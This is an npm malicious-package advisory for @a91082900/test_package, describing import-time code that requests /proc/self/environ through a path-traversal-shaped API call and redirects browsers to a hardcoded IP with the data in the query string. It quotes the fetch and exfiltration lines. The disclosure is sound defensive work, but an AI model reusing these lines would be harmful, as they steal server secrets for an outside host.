npm · Malicious package advisory
Malware@a91082900/test_package
MAL-2026-3680
Malicious code in @a91082900/test_package (npm)
Details
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254)
The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues `fetch('/api/notes?id=/self/proc/environ')` and then assigns `top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data)`, relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read `/proc/self/environ` together leave no benign interpretation.
Compromised versions (1)
- 0.0.5
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.